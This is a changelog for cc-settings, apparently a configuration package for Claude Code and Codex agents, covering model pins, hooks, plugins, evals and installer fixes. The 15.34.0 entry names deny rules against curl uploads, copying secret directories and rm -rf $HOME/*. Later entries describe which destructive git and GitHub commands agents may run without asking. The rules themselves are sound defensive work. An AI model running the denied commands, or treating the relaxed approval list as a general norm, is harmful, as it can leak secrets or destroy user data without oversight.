Nothing changes for users. codebase-memory-mcp is parked, and the disabled placeholder engine that stood in for it is gone, along with the pinned-binary download path only it used. No install ever used either.
Removed:
- The
codebase-memoryengine descriptor, thedownloadinstall method,src/lib/engine-pin.ts, and the session-start engine-pin check inverify-hooks.download-verify.tsstays;pinned-tools.tsuses it fortldr-code. - Managed-file manifest versions move to 14 (Claude) and 12 (Codex runtime) because
engine-pin.tsis no longer shipped. Older versions still list it, so ownership and rollback of earlier installs are unchanged.
Evaluation notes for codebase-memory-mcp v0.11.0 (2026-09-29), so the next evaluation starts from data:
- It cannot back the
tldrserver. Its 17 tool names differ from the 18mcp__tldr__*names the contract fixes. - Release assets are archives. The binary is about 303 MB with bundled embeddings.
- On cc-settings it indexed 7,432 nodes in 13.6 s. It found 3 of 4 real callers of
resolveEngine(it missed a call made through a module object) and 2 of 2 fordownloadAndVerify. - MCP
initializetook 10-24 s with a cold shared daemon (about 80% of one core) and about 4 s with a warm one. The idle daemon uses about 15 MB. Tool schemas total 17 KB. - The daemon serves a web UI on localhost:9749 by default.
- Its own
installcommand writes hooks and instructions into every agent config, so cc-settings must never run it. - Parked for the startup costs above.
[15.37.3] — 2026-09-29
The tldr code-intelligence tools work again. Every mcp__tldr__* call was returning "Could not build a TypeScript program" on every install.
Fixed:
- The native-ts engine loads the TypeScript compiler at runtime, but
typescriptwas only a devDependency, and the installer runsbun install --production, which skips those.typescriptis now a regular dependency. The installer removes itstsc/tsserverbin links after installing, since the runtime integrity check rejects symlinks and nothing runs those CLIs. - A new test fails when any shipped
src/file imports a package that isn't independencies, so the same gap can't come back with a different package.
[15.37.2] — 2026-09-29
./setup.sh works again on installs made before 15.37.0. It failed with "missing: skills/audit/references/test-audit.md".
Fixed:
- 15.37.0 added the
/audit testschecklist to install manifests that had already shipped, so the installer treated the file as owned but missing on every existing install. The file now lives in a new manifest version (Claude v13, Codex runtime v11), and the shipped versions are back to exactly what 15.36.1 installed. - A test pins a hash of every shipped manifest version, so adding a file to one fails in CI instead of on a user's machine.
[15.37.1] — 2026-09-28
The first /audit tests run on cc-settings: two coverage gaps closed and 14 low-value tests removed.
Added:
- A test that runs
installSettingsagainst a temp HOME with a user hook carrying a field the schema does not model, and checks that verify-hooks still reports a match. It fails if the installer fingerprints the zod-stripped settings instead of the raw ones. - A test that runs
runClaudePrintagainst a fakeclaudebinary and checks the prompt arrives on stdin and never on argv.
Removed:
tests/setup.test.ts(tested only zod) andtests/context-continuity-gaps.test.ts(duplicatedsession-continuity.test.ts; its two unique assertions moved there).- Duplicate or vacuous cases in
scripts-smoke,light-profile,plugin-manifest,codex,version-delta,install-e2e,permissions-check,team-knowledge,plugin-key-redaction, andprofile-schema, each folded into the test that owns the behavior where it asserted anything unique. - The
exportonLATER_KEY_COMMAND, which only a removed test used.
Changed:
/audit testsrequires the covering test's assertion to be quoted in the evidence record, not just its line number. Two of the first run's findings cited covering tests that did not assert the same thing.
[15.37.0] — 2026-09-28
/audit tests finds tests that cost maintenance without guarding behavior, and the tester agent checks every new test against the same list before writing it.
Added:
/audit tests, a ninth audit mode. It hunts 15 junk-test patterns (T1–T15: assertion-free probes, self-computed expectations, mocks that return the asserted answer, source greps, copied inventories, test-only exports, and more), keeps anything that guards a real contract, and requires a filled evidence record before it recommends deleting a test. Adapted from openclaw'stest-auditskill.skills/audit/references/test-audit.mdholds the patterns, the retention bar, the evidence record, and a four-question authoring gate.- Eval case
audit-tests-junk.
Changed:
- The
testeragent runs the four-question authoring gate and the T1–T15 check before adding or changing a test.
[15.36.1] — 2026-09-28
Agents stop writing ! bash handoff scripts for the cleanup commands 15.36.0 allowed.
Changed:
CLAUDE.mdAutonomy tells agents to rungit reset --hard,git clean -f,git worktree remove --force,git push --force-with-leaseto a feature branch,gh apiDELETE, andgh release deletethemselves. "Always ask" now covers a plain--forcepush or any force-push tomainormaster, and the handoff example list names only commands that stay denied.- The Codex instructions say the same for Codex, and that
git pushandgh apiask for approval there instead of going to a handoff script. docs/settings-reference.mdno longer lists the allowed cleanup commands as denied.
[15.36.0] — 2026-09-28
Subagents now run on Claude Sonnet 5.5, and agents run routine git and GitHub cleanup themselves instead of handing it back as a ! bash script.
Changed:
- The execution tier is
claude-sonnet-5-5:CLAUDE_CODE_SUBAGENT_MODELand theimplementer,tester,scaffolder,explore,deslopper,reviewer, andcodex-verifieragents. It costs the same as Sonnet 5 and is faster with fewer tokens per task. The full ID is pinned because Claude Code 2.1.284 still resolvessonnetto Sonnet 5.planner,maestro, andsecurity-reviewerstay on Opus 5.5, which is stronger at review-shaped judgment. - The quota steer and the Fable model-switch guard point to
/model claude-sonnet-5-5for routine turns, and the skill evals and/autoresearchdefault to it.bun run tokensprices it, and the Codex installer maps it togpt-6-sol. git push --force-with-lease,git reset --hard,git clean -f,git worktree remove --force,gh apiDELETE calls, andgh release deleteare allowed for Claude. Codex allows the reset, clean, worktree, and release commands; force-with-lease andgh apistill prompt, because its prefix rules cannot see a push destination or an API endpoint. Plain--forcestays denied.- The safety-net hook blocks force-with-lease toward
mainormaster, whether named (main,HEAD:refs/heads/main) or implied by pushing from that branch, and blocksgh apiDELETE on a repository root endpoint, which would delete the repo. - The installer prunes the retired deny rules from
denyon existing installs. The same rule in a user'saskorallowlist, or a user's own variant, is kept.
[15.35.0] — 2026-09-26
The advisor is on by default: every session and subagent can consult Fable 5.1 at decision points, and the agents that do long work are told when to ask.
Added:
"advisorModel": "claude-fable-5-1"inconfig/10-core.json. Fable 5.1 is the only advisor every model we run accepts: the Fable 5.1 default, the Opus 5.5 agents, and the Sonnet 5 subagents. The full ID is pinned because a Fable 5.1 session silently drops a Fable 5 advisor, and thefablealias follows Claude Code's default.implementer,tester, andmaestroconsult the advisor, when it is available, before committing to an approach, after a second failed attempt, and before reporting done. Claude Code has no setting to force advisor calls, so the prompts ask for them.
Changed:
docs/agent-models.md"Advisor" matches the current docs: an Opus 5.5 pairing row,/advisorworking in-pand the Agent SDK since v2.1.260, what happens to an advisor the main model can't pair with, the flag-fetch requirement, and how to turn it off when quota is tight.
Files changed:
config/10-core.jsonagents/implementer.md,agents/tester.md,agents/maestro.mddocs/agent-models.md,docs/settings-reference.mdsrc/setup.ts,package.json,.claude-plugin/plugin.json,.codex-plugin/plugin.json
[15.34.0] — 2026-09-26
Sync with Claude Code v2.1.283 and Codex v0.157.1, plus a fix for permission deny rules that never matched.
Adopted:
maxProseWidth(Claude Code 2.1.282) insrc/schemas/settings.tsanddocs/settings-reference.md. It caps prose width in wide terminals. cc-settings leaves it unset.attribution: false(2.1.281) in the settings schema.config/10-core.jsonkeeps the object form, because older CLI versions skip a settings file that holds the boolean.- Managed settings
availableModelsMatchanddeniedModels(2.1.283) andallowClaudeInChromeWithManagedMcp(2.1.282) in the settings schema, so managed files that use them still pass the strict parse. CLAUDE_CODE_DISABLE_DANGEROUS_RM_TIMEOUT(2.1.281) in the manifest and the env table.
Fixed:
- 45 permission deny rules in
config/30-permissions.jsonnever fired. Claude Code reads a rule that mixes an inner*with a trailing:*as a literal prefix, socurluploads,curl -odownloads,cp/mvof secret directories and shell rc files,find -exec, andrm -rf $HOME/*passed the deny list. They now end in a bare*.docs/settings-reference.mdand thepermissions-check.tscomments match. - Five places still said Codex execution runs on GPT-5.6 Sol after 15.29.0 moved it to GPT-6 Sol. Codex 0.156.1 now ships GPT-6 Sol and Luna.
Docs:
- The native AGENTS.md read now also works on Bedrock, Vertex, Foundry, LLM gateways, and with telemetry off (2.1.281).
docs/settings-reference.mdand/cc migrateno longer list those as blockers. CLAUDE_CODE_AUTO_MODE_SERVERnow also applies on a direct API connection (2.1.281).CLAUDE_CODE_GATEWAY_HINT_HEADERSnow also sendsx-claude-code-prompt-id(2.1.283).MANUAL.mdmentions/doctor prompt-audit(2.1.283).
Files changed:
src/schemas/settings.ts,schemas/settings.schema.jsonconfig/30-permissions.jsonsrc/lib/permissions-check.tssrc/lib/codex.tssrc/lib/codex-install-state.tsdocs/settings-reference.mddocs/codex-bridge.mdcodex/AGENTS.append.mdCLAUDE-FULL.mdMANUAL.mdskills/cc/SKILL.mdupstream/claude-code-manifest.jsonupstream/codex-manifest.jsonsrc/setup.ts,package.json,.claude-plugin/plugin.json,.codex-plugin/plugin.json
[15.33.0] — 2026-09-24
Every skill now has an eval case, a push runs the evals for the skills it changes, and a repeat install spends about 5 seconds on plugins instead of 17.
Added:
evals/: 41claude plugin evalcases covering all 38 skills, each tagged with the skill it exercises.bun src/scripts/eval-changed.tsand a repo-local pre-push hook: beforegit push, run the cases for skills changed since upstream (one run each, capped at $5), and block on a failing case or a changed skill with no case. A missing CLI, auth failure, or cost ceiling warns instead of blocking.lint:skillsfails when a skill has no eval case.- Installer progress lines for each plugin step, the time taken by any step over 2 seconds, and a line before each dependency install.
Changed:
- The installer checks installed plugins and registered marketplaces first and skips the ones already current. If that check fails, it runs every step as before.
/codexdoes the delegated task itself when the bridge is unavailable, instead of asking which fallback to use./autoresearch's standalone Codex section now tells Claude Code to continue. The old "Stop here in standalone Codex" opener sometimes made Claude stop, or treat the skill as injected text.
Fixed:
- Plugin updates never reached existing installs:
claude plugin installreports success on an installed plugin without upgrading it. The installer now runsclaude plugin updatefor an installed plugin that is behind.
[15.32.0] — 2026-09-24
Agents now default to E2E tests and stop writing unit tests for code that already exists.
Added:
- AGENTS.md "E2E-First Testing": prefer E2E tests as the only tests, end each with a verifiable, repeatable artifact, never write unit tests after the code, and write down the failure modes before the code when a system must be tested in isolation.
Changed:
testeragent defaults to E2E tests that save an artifact, and drops unit-test-first guidance and line-coverage targets.plan-ceo-reviewtest review checks for E2E coverage and artifacts instead of a unit-heavy test pyramid.plan-featuredefaults its testing requirement to E2E tests with artifacts instead of unit and integration tests.- AGENTS.md drops four lines that repeated other sections, to stay under its 16 KiB always-loaded budget.
Removed:
- Four low-signal test blocks: the
platformchecks inlib-helpers.test.ts, two schema restatements insetup.test.ts, and a passthrough check instatus.test.ts. An audit of all 92 test files found the rest guard real hook, permission, redaction, and regression behavior.
Fixed:
- README and docs index links pointed at a
CLAUDE.mdthat no longer exists; they point atCLAUDE-FULL.md.
[15.31.0] — 2026-09-23
Cut the fixed context every session starts with, and add a way to measure token spend.
Changed:
ENABLE_TOOL_SEARCHisauto:2(wasauto:10). The threshold is a share of the context window, so on 1M-window models 10% (100K) never triggered and every MCP and deferrable built-in tool schema loaded on every request. A fresh session measures 34.8K tokens in/contextinstead of 85.8K. MCP tools, context7 included when its server entry lacksalwaysLoad, now cost one tool search on first use.- This repo's
.claude/settings.jsonexcludes its rootAGENTS.md, which loaded a second time next to the installed copy the userCLAUDE.mdimports (5.9K tokens per request in cc-settings sessions).
Added:
bun run tokens(src/scripts/token-report.ts,src/lib/token-usage.ts): API-equivalent cost from Claude Code transcripts, deduped per request, split by billing type (input, 5m and 1h cache writes, cache reads, output), main session vs subagents, subagent type, and model, with each thread's cold prefix. Managed-files manifest version 12 and Codex runtime manifest version 10 install both files, so existing installs on either host upgrade cleanly.
Measured, no change:
- Main-conversation cache TTL stays
1h. Replaying 30 days of transcripts (18K requests) under a 5-minute TTL costs 57% more: 844 gaps of 5 to 60 minutes would each re-write a ~200K prefix. - Delegation guidance stays. Subagents were 16% of 30-day spend. The named agents start from 11-20K-token prefixes and cost $0.10-3.27 per spawn; the 170K-prefix outliers are built-in
general-purposespawns and forks, which the MCP deferral above also shrinks.
Files changed:
- config/10-core.json
- .claude/settings.json
- .claude/AGENTS.md
- docs/settings-reference.md
- src/scripts/token-report.ts
- src/lib/token-usage.ts
- src/lib/install-source-inventory.ts
- src/lib/claude-managed-file-manifests.ts
- src/lib/codex-runtime-manifests.ts
- tests/token-usage.test.ts
- tests/install-e2e.test.ts
- tests/codex-install.test.ts
- package.json
[15.30.1] — 2026-09-23
Run the one cross-model Codex review on direct pushes too, so repos that push straight to main without a PR (like this one) still get a Codex pass.
Changed:
codex-verifyhook policy: in a repo with no PR, run the single review before each push withreview --base origin/<branch>, so it covers the unpushed commits rather than only uncommitted changes. Still one review per change, not per turn.CLAUDE-FULL.md,skills/codex/SKILL.md,docs/codex-bridge.md,README.md: state the same trigger.
Files changed:
- src/hooks/codex-verify.ts
- CLAUDE-FULL.md
- skills/codex/SKILL.md
- docs/codex-bridge.md
- README.md
[15.30.0] — 2026-09-22
Add a "No Loose Ends" guardrail to the portable standards, so Claude Code and Codex finish the follow-ups their own changes create instead of listing them.
Added:
AGENTS.md"No Loose Ends": after a delete, rename, or move, find and fix every reference in the same pass, including sibling checkouts the files point to. A follow-up that takes minutes gets done, not suggested. Only decisions, missing access, or changes outside the task's repositories go back to the user.
Removed:
- The Tech Stack copy of "check the latest version before installing", which repeated External Libraries step 2. This keeps
AGENTS.mdunder its 16 KiB ceiling.
Files changed:
- AGENTS.md
[15.29.2] — 2026-09-22
Docs-only: decision records for two evaluations that ended in no-go.
Added:
docs/audits/gortex-2026-09-21.md: Gortex v0.64.4 misses a renamed cross-file TypeScript caller that native-ts finds, so native-ts stays the code-intel default.docs/audits/skill-routing-2026-09-21.md: Laya MLX and two Jev formulations fail the recall, false-suggestion, and latency gates for suggesting skills, so both hosts keep their own skill selection.
Files changed:
- docs/audits/gortex-2026-09-21.md
- docs/audits/skill-routing-2026-09-21.md
[15.29.1] — 2026-09-22
Docs-only: docs/codex.md catches up with the current models and explains why adaptive effort stays off.
Changed:
- Execution roles are documented as running on
gpt-6-sol, and the Claude bridge as defaulting to Opus 5.5. - New "Adaptive reasoning effort" section: cc-settings does not enable Jev-driven effort changes for Astra or Fable, because neither host has a verified integration that preserves the prompt cache.
Files changed:
- docs/codex.md
[15.29.0] — 2026-09-22
Move Codex execution work to the GPT-6 generation now that Codex CLI 0.156.0 lists gpt-6-sol and gpt-6-luna.
Changed:
codex-run.ts execdefaults togpt-6-solinstead ofgpt-5.6-sol, which Codex now labels an older model.reviewandaskstay ongpt-6-astra.CODEX_EXEC_MODELand--modelstill override.- Native Codex agents on the
sonnettier (implementer,tester,explore,scaffolder,deslopper,reviewer,claude-verifier) getmodel = "gpt-6-sol". Thehaikutier maps togpt-6-luna; no shipped agent uses it today.
Files changed:
src/lib/codex.tssrc/lib/codex-install-state.tssrc/scripts/codex-run.tsskills/codex/SKILL.mddocs/agent-models.mddocs/codex-bridge.mdtests/codex.test.tstests/codex-install.test.tspackage.json,.claude-plugin/plugin.json,.codex-plugin/plugin.json,src/setup.ts
[15.28.0] — 2026-09-22
Tune the instruction files for Opus 5.5 and Fable 5.1, following Anthropic's prompt-audit guidance for those models.
Changed:
- The clarifying round now fires only when a request's readings would lead to materially different work, not whenever a task crosses the delegation bar. Size alone no longer triggers questions; the agent makes routine calls and states its assumption. Updated in
AGENTS.md,CLAUDE-FULL.md,output-styles/darkroom.md,codex/AGENTS.append.md, thedelegation-detectorhook message, and therefactorskill. AGENTS.mddrops the blanket "These rules are non-negotiable." line and the all-caps NEVER/MUST/Mandatory markers. Current models over-apply pressure language; each rule already states its reason.- Redundant instructions removed, measured against v15.27.0: Claude's always-loaded files drop from 33,572 to 31,859 bytes, Codex's portable file from 16,313 to 16,066.
CLAUDE-FULL.mdloses its copies of the register rules and "Numbers" (subagents already get both through theAGENTS.mdimport); the two register lines only it had (mannered prose, when structure helps) move intoAGENTS.md, so Codex gets them too.AGENTS.mdloses "Philosophy", "Getting Started", "Autonomous Execution" (current models read and search without asking; destructive-action confirmation stays under Safety), and a third copy of the React Compiler rule. .claude/AGENTS.mdstates the runtime and dependencies in present tense and points to the "Skill library ratchets" section instead of a soft cap that no longer exists.
Files changed:
- AGENTS.md
- CLAUDE-FULL.md
- output-styles/darkroom.md
- codex/AGENTS.append.md
- src/hooks/delegation-detector.ts
- skills/refactor/SKILL.md
- .claude/AGENTS.md
- package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, src/setup.ts, CHANGELOG.md
[15.27.0] — 2026-09-22
Sync with Claude Code v2.1.280 and Codex 0.156.0. The judgment agents and the Codex-to-Claude bridge now run on Claude Opus 5.5.
Adopted:
- Claude Opus 5.5 for judgment work (Claude Code 2.1.280).
maestro,plannerandsecurity-reviewer, the six profiles, and theclaude-run.ts/claude-verifierdefault move fromclaude-opus-5toclaude-opus-5-5. Opus 5.5 is the new default Opus and costs less per token ($4/$20 per Mtok against $5/$25, cache reads $0.20 against $0.50). Without the repin those agents would have stayed on the older, pricier model while/model opusmoved on. The Codex tier map addsclaude-opus-5-5→gpt-6-astraand keepsclaude-opus-5for anyone still pinning it. CLAUDE_CODE_MAX_MCP_DESCRIPTION_LENGTHdocumented (2.1.280). It changes the 2,048-character cap on MCP tool descriptions and server instructions. cc-settings leaves it unset, because a higher cap spends context on every session.
Docs: docs/agent-models.md cost comparison now reads Fable at 2.5x Opus 5.5 on base tokens. The cache-read argument for escalating to Fable is weaker: Fable's $0.25 re-reads now cost about the same as Opus 5.5's $0.20, not less.
Unchanged pending evidence: the long-context-premium line in CLAUDE-FULL.md and MANUAL.md (current API docs confirm no premium only for Opus 4.7 and 4.8), the advisor pairing table, and the handoff degradation thresholds (no Opus 5.5 data yet).
Skipped: 2.1.279's server-side auto-mode classifier default (documented in 15.26.1); dialog keys, fullscreen mouse, /permissions and /config UI; per-model effort changes (CLAUDE_CODE_EFFORT_LEVEL still sets the default); the PermissionRequest agent-hook refusal and the ~/.claude/skills manifest trash fix (nothing here wires either). Codex 0.156.0 is UI-only for cc-settings: /tui, voice, /usage, themes, /daemon, command-center worktree sessions, and the personality deprecation touch no installed surface.
Files changed: agents/maestro.md agents/planner.md agents/security-reviewer.md profiles/maestro.md profiles/nextjs.md profiles/react-native.md profiles/react-router.md profiles/tauri.md profiles/webgl.md src/lib/claude-bridge.ts src/lib/codex-install-state.ts src/scripts/claude-run.ts tests/claude-bridge.test.ts CLAUDE-FULL.md codex/AGENTS.append.md codex/agents/claude-verifier.md docs/agent-models.md docs/claude-vs-codex.md docs/codex-bridge.md docs/frontmatter-reference.md docs/profiles.md docs/settings-reference.md upstream/claude-code-manifest.json upstream/codex-manifest.json package.json .claude-plugin/plugin.json .codex-plugin/plugin.json src/setup.ts
[15.26.1] — 2026-09-21
Sync with Claude Code v2.1.278. Docs only; Codex stays at 0.155.1.
CLAUDE_CODE_AUTO_MODE_SERVERnow documents the 2.1.278 default. Auto mode runs its permission classifier server-side by default for Claude API, Enterprise, Bedrock, Vertex, Foundry and gateway sessions, with no classifier overhead billed and a warning when it falls back to the billed local classifier;"0"opts out on the non-first-party platforms. The row indocs/settings-reference.mdhad described the pre-2.1.278 opt-in.- Skipped: the
Auto mode serverrow in/status(native UI, nothing in cc-settings mirrors it). - Files changed:
docs/settings-reference.md,upstream/claude-code-manifest.json, four version sites.
[15.26.0] — 2026-09-19
drift-fuseplugin (plugins/drift-fuse/,drift-fuse@cc-settings, enabled byconfig/10-core.jsonand installed bysetup.sh). Watches an unattended run for drift from the task the person asked for.prompt.submitkeeps the person's prompts (composerorbridgeorigin) as the task contract: one long enough to name a task replaces it, a short one or a slash command is appended (then: fix billing), pasted tool output changes nothing; the contract is snapshotted per turn, and a turn whose contract a person replaced mid-turn is not scored (both from the Codex review);tool.callrecords the main loop's edits, writes and Bash command heads;turn.completesends the contract, those actions and the head of the answer to TypeSafe's Jev model with onenoulquestion (did this turn serve the task) through$.http.fetch, 2.5 s timeout via$.clock.sleep. A turn underdriftBelow(0.35) is a strike;tripAfter(2) consecutive strikes trip the fuse. A tripped fuse redirects the next prompt no person typed (a loop wakeup, a routine, a task notification, an SDK turn) by attaching one context line that names the task and the last turn's actions, or drops it whenonTripispause; a person's prompt always passes and resets the contract and the fuse. By default only turns started by a non-person prompt are scored (scope: "unattended");scope: "all"scores every main-loop turn. Without aTYPESAFE_API_KEY, or on any Jev failure, nothing is scored. The contract prompt, file paths, command heads and answer head leave the machine for each scored turn. Pure decision functions (foldTurn,describeToolCall,scoringState,redirectLine) and the hook wiring are covered bytests/drift-fuse.test.tsunderbun test;claude plugin validatepasses.- The auto-update agent no longer posts a desktop notification when it skips because cc-settings has uncommitted or staged changes. That skip is the developer's own work in progress, and the launch agent runs daily, so the toast repeated every morning; an
osascriptnotification also has no click target, so clicking it opened Finder. The skip is still logged and recorded in the last-run state; blocked checkouts, clone failures and setup failures still notify. Reaches an existing install on the nextbash setup.sh. Separately, every fullbun testrun posted one real "origin is not the expected repo" toast: the blocked-origin case intests/auto-update-script.test.tssetsNODE_ENV=productionto prove the test-only git override is ignored outside tests, which also unmuted the notifier; the test now setsCI=trueas well, the notifier's other mute. - Files changed:
plugins/drift-fuse/**,.claude-plugin/marketplace.json,config/10-core.json,src/lib/claude-install-settings.ts,src/lib/install-lifecycle.ts,src/lib/install-display.ts,src/scripts/auto-update.ts,package.json(typecheck:plugins),tsconfig.json,tests/drift-fuse.test.ts,tests/plugin-manifest.test.ts,tests/auto-update-script.test.ts,docs/hooks-reference.md, four version sites.
[15.25.0] — 2026-09-18
First cc-settings plugin built on the pattern of Claude Code's own built-in mods (anthropics/claude-code/mods), and a quieter compaction transcript.
context-reportplugin (plugins/context-report/,context-report@cc-settings, enabled byconfig/10-core.jsonand installed bysetup.sh). Hooksprompt.contextand reports theinstructionFilesthe engine actually put behind theclaudeMdblock, once per context load:Instructions loaded (6 files, 79.5 KB): user ~/.claude/CLAUDE.md +@AGENTS.md · project ./AGENTS.md ./.claude/AGENTS.md · memory 1. It reads the chain's result, not its input, because the built-inagents-mdmod is seated beneath it and adds a project'sAGENTS.mdinsidenext(); the first live run reported 3 files for that reason and 6 after the fix. Two hints ride on the same facts: a project-tierCLAUDE.mdorCLAUDE.local.mdthat keeps the project'sAGENTS.mdfrom loading (names/cc migrate, rename or merge by whether anAGENTS.mdexists on disk via$.fs.stat), and a userCLAUDE.mdwithout the@AGENTS.mdimport. Headless sessions log to the debug sink. The classic SessionStart banner'sStandards:line and the 15.24.0 migration hint insrc/lib/project-awareness.tsare gone; they guessed from the filesystem and could not see imports or the native read. The live check also surfaced a stray~/AGENTS.md(a 27 KB Codex-only file from an earlier install) loading as a project file in every session under home.compaction-trigger0.3.0 hooksui.logand rewrites fast-jev-compaction's per-itemdecisions:dump to the debug log (next({ ...e, to: "debug" })); thekept N/M messagessummary still shows. Upstream has no option for this and is outside darkroomengineering, so the override lives here. The Jev plugin itself stays external and pinned: it is actively maintained, and folding its 1,270 lines in would mean owning the transcript-rewriting code.- Shared plugin types.
plugins/types/claude-code.d.ts(regenerated from 2.1.277;claude -p '/plugin-types <dir>'works headless) replaces the per-plugin copy; both tsconfigs include it,bun run typecheck:pluginschecks both plugins.bunfig.tomlpinsbun testtotests/so each plugin'stests/folder can holdclaude-code/testingkit tests forclaude plugin test, which the 2.1.277 public build does not ship yet;bun testcovers the purereport()andisDecisionDump().
Files changed:
plugins/context-report/{.claude-plugin/plugin.json,hooks/hooks.json,hooks/register.ts,tests/register.test.ts,tsconfig.json}plugins/types/claude-code.d.ts(moved fromplugins/compaction-trigger/types/),plugins/compaction-trigger/{hooks/trigger.ts,tsconfig.json,.claude-plugin/plugin.json}.claude-plugin/marketplace.json,config/10-core.json,src/lib/{claude-install-settings,install-display,install-lifecycle,project-awareness}.tsbunfig.toml,tsconfig.json,package.jsontests/{context-report,compaction-trigger,plugin-manifest}.test.tsdocs/hooks-reference.md,src/setup.ts,.claude-plugin/plugin.json,.codex-plugin/plugin.json,CHANGELOG.md
[15.24.0] — 2026-09-18
Sync with Claude Code v2.1.277 and Codex v0.155.1, and move the standards file onto the path Claude Code now reads.
AGENTS.md is now the file, not a pointer. Claude Code 2.1.277 reads a project's AGENTS.md as project instructions whenever the project has no CLAUDE.md (built-in agents-md mod; /config → Project instructions; pluginConfigs["agents-md@builtin"].options.instructionFiles). It has no user-level fallback, so ~/.claude/CLAUDE.md stays, but it now @-imports AGENTS.md instead of asking the model to read it, which the upstream docs single out as the pattern to replace: the ~4K-token standards file loads every turn, in subagents too, where before it loaded only when the model chose to open it. The repo's own CLAUDE.md moved to .claude/AGENTS.md (root AGENTS.md is an installed artifact), .claude/ is un-ignored so that file, .claude/settings.json, and the pre-commit hook are tracked, the SessionStart banner prints a hint when a project still has a CLAUDE.md, .claude/CLAUDE.md, or CLAUDE.local.md, and /cc migrate renames or merges it after showing the plan. whats-on now checks the installed CLAUDE.md for the import and reports the truth either way.
Adopted:
syncClaudeAiSkills/syncClaudeAiPlugins(2.1.275) insrc/schemas/settings.ts, the manifest, anddocs/settings-reference.md:falsekeeps a machine off the claude.ai account sync. Not set; per-user.CLAUDE_CODE_MCP_STARTUP_WAIT_MSandOTEL_LOG_MANAGED_SETTINGS(2.1.274) tracked in the manifest and env table, with theMCP_SDK_GENERATION/MCP_PROTOCOL_NEGOTIATIONopt-outs now that the v2 MCP client is the default on every install (2.1.274). The startup-wait knob matters forclaude -pscripts whose first turn must not block on a slow server.enabledPluginsandpluginConfigsadded to the manifest'sknownSettingsKeys; the schema has declared them since 15.x and the scanner flagged the gap.docs/settings-reference.mdgains the Project instructions section (modes, what does and does not count as aCLAUDE.md, nestedAGENTS.mdonRead,claudeMdExcludesapplying, where support is absent), the/update-configEdit(path)note (2.1.275), and thesandbox.excludedCommandsevery-part rule (2.1.277).docs/hooks-reference.mdnotes/plugin install --marketplace(2.1.275).CLAUDE-FULL.mdsays subagent results arrive under a marked, indented header (2.1.277).docs/codex.mdnotes Codex 0.155.1 leaves reasoning summaries off by default.
Deletions / Native-now-redundant:
taskOutputMaxChars(schema, manifest, docs) and theTaskOutputtool (manifestknownBuiltinTools): 2.1.277 removed the tool, Claude reads a background task's output file with Read, andTASK_MAX_OUTPUT_LENGTHis inert.bashOutputMaxCharsstays.
Skipped: Claude apps gateway items, "type": "sdk" MCP entries (never in our schema), /code-review inline prompts, VSCode, web, Claude Tag, Code Review, Windows, Bedrock/Vertex/Foundry; on the Codex side /voice, Touch ID for MCP, the agents overview, daemon update schedules, Bedrock credentials, memory v2, and Guardian internals touch no installer surface.
Follow-up, not started: anthropics/claude-code/mods/ publishes the four built-in plugins as function-hook modules (register(on, options) on engine events such as prompt.context and session.start, tested with claude plugin test). cc-settings' SessionStart scripts and the statusline could become one such mod and read the instruction files the engine actually loaded instead of inferring them.
Files changed:
.claude/AGENTS.md(wasCLAUDE.md),.claude/settings.json,.claude/hooks/pre-commit-invariants.ts,.gitignoreCLAUDE-FULL.md,MANUAL.md,docs/settings-reference.md,docs/hooks-reference.md,docs/codex.md,docs/whats-on.mdskills/cc/SKILL.mdsrc/schemas/settings.ts,schemas/settings.schema.jsonsrc/lib/project-awareness.ts,src/scripts/whats-on.ts,tests/whats-on.test.tsupstream/claude-code-manifest.json,upstream/codex-manifest.jsonsrc/setup.ts,package.json,.claude-plugin/plugin.json,.codex-plugin/plugin.json,CHANGELOG.md
[15.23.0] — 2026-09-18
- The delegation detector asks Jev instead of matching regexes, when a TypeSafe key is set.
src/hooks/delegation-detector.tssends the incoming prompt to TypeSafe's Jev model with one statement (would this touch 3+ files, need 12+ tool calls, or run several workstreams) and fires the advisory at probability ≥ 0.7. Measured on 1,102 real prompts from this machine's transcripts, judged against what the turn actually did (3+ files or 12+ tool calls): the regex fired 21 times with 10 correct; Jev at 0.7 fired 83 times with 53 correct. Latency p50 321 ms, p95 419 ms, under the hook's 3 s timeout; the whole replay cost $0.018. The prompt text leaves the machine for this call, which makes this the only cc-settings hook that sends prompt text anywhere; without a key, or on any failure or 2 s timeout, the regex score decides exactly as before. Recall stays low at every threshold because most big turns start from prompts that read small, so this is a better detector, not a complete one. src/lib/jev.tsis a small shared client (typesafeKey(),jevNoul()): key from the process env or the settingsenvblock, onenoulquestion, null on any failure.TYPESAFE_ENDPOINToverrides the API URL for tests.- The delegation "fired" telemetry line gains an optional
jevprobability next to the integerscore; still no prompt text. - Managed-file manifests bump (Claude 10 → 11, Codex runtime 8 → 9) so
src/lib/jev.tsreaches existing installs on the nextsetup.sh; earlier versions keep reporting exactly the files they own. - Files changed:
src/hooks/delegation-detector.ts,src/lib/jev.ts,src/lib/escalate-telemetry.ts,src/lib/install-source-inventory.ts,src/lib/claude-managed-file-manifests.ts,src/lib/codex-runtime-manifests.ts,tests/install-e2e.test.ts,tests/delegation-detector.test.ts,docs/hooks-reference.md, four version sites.
[15.22.2] — 2026-09-18
/qaand/lighthousework withchrome-devtoolsoraside-devtools, and no longer warn when neither is registered. Both names run the same package, so the skills list both tool prefixes inallowed-toolsand tell the model to use whichever is present. Without either,/qareviews the code and asks for a screenshot;/lighthouseruns the CLI loop without screenshots. The installer's "missing MCP: chrome-devtools" warning for these two skills is gone.- Skill prerequisites can be any-of and optional.
requires: - mcp:takes a list of names, satisfied by any one registered server, andoptional: truemarks a prerequisite the installer never warns about (src/schemas/skill.ts,src/lib/skill-prereqs.ts). Documented indocs/skill-authoring.md. - Files changed:
src/schemas/skill.ts,schemas/skill.schema.json,src/lib/skill-prereqs.ts,tests/skill-prereqs.test.ts,skills/qa/SKILL.md,skills/lighthouse/SKILL.md,docs/skill-authoring.md, four version sites.
[15.22.1] — 2026-09-18
- A DevTools MCP server you already run under another name no longer gets a second copy from cc-settings. The Aside browser registers
aside-devtools, which runschrome-devtools-mcp, the package cc-settings ships aschrome-devtools. Both loaded meant every DevTools tool schema twice per turn, and deleting ours by hand lasted one install because the merge re-added any team entry~/.claude.jsonlacked. The installer now compares the npm package behindbunx/npxentries and skips a team server whose package a differently named user entry already runs (duplicateTeamServersinsrc/lib/mcp.ts). A user entry that only shares the name is still handled by the existing shadowing rule./qaand/lighthousenote that themcp__<name>__prefix follows the registered server name. - Files changed:
src/lib/mcp.ts,tests/mcp.test.ts,skills/qa/SKILL.md,skills/lighthouse/SKILL.md, four version sites.
[15.22.0] — 2026-09-18
